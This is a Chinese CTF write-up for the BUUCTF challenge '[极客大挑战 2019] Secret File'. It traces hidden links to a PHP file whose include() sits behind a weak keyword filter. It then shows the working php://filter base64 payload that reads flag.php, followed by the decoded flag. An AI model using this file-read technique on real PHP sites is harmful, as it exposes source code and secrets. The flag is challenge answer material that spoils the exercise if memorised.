练习 13 Web [极客大挑战 2019]Secret File

php伪协议请求,php代码审计 参考:BUUCTF__[极客大挑战 2019]Secret File_题解

没有任何上传和登录页面

查看前端源码

发现

sql 复制代码
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

访问页面

"SECRET"可以点击,查看源码,链接的是action.php

sql 复制代码
<a id="master" href="./action.php" style="background-color:red;height:50px;width:200px;color:#FFFFFF;left:44%;"><font size="6">SECRET</font></a>

进去后,页面提示"没看清么"
同时顶部的php名字却是"end.php"

感觉是中间显示了什么,猜测要抓包看一下

(中间重开了靶机,域名有变化)

在点击Secert按钮后,抓包内容里显示有一个被注释掉的php页面提示

secr3t.php

访问,看到代码,审计。。

可以看到代码里过滤了不少名称的文件访问

tp,input,data

大概率就这三文件夹里

php 复制代码
<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里卡住了,搜索wp ,提到了"php伪协议"

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=./flag.php

同时拿到了一串编码

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MWRjMTAxYjktZDQ4OC00ZDQ5LThkYmYtZWI5NDViOGJiZDM4fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解码后即可看到flag:flag{1dc101b9-d488-4d49-8dbf-eb945b8bbd38}

php 复制代码
<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{1dc101b9-d488-4d49-8dbf-eb945b8bbd38}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>
相关推荐
镇杰。2 小时前
sublime 文件高亮设置
编辑器·php·sublime text
刘懿儇3 小时前
服务器上会话存储项目
运维·服务器·php
黑客Ela4 小时前
防火墙技术与网络安全
web安全·智能路由器·php
Clarkbrave15 小时前
PHP框架+gatewayworker实现在线1对1聊天--gatewayworker说明(2)
开发语言·php
炫彩@之星21 小时前
如何在CentOS 6上安装和配置Apache与PHP?
网络安全·centos·php·apache
yuanbenshidiaos1 天前
使用套接字创建一个服务端,创建一个客户端然后相互通讯
服务器·c语言·开发语言·php
黄公子学安全1 天前
网安入门之PHP后端基础
开发语言·php
一一程序1 天前
Mac 安装 php-redis扩展
redis·macos·php
fakaifa1 天前
【最新】沃德协会管理系统源码+uniapp前端+环境教程
前端·小程序·uni-app·开源·php·生活
哥坐11路1 天前
网工日记:FTP两种工作模式的区别
运维·服务器·php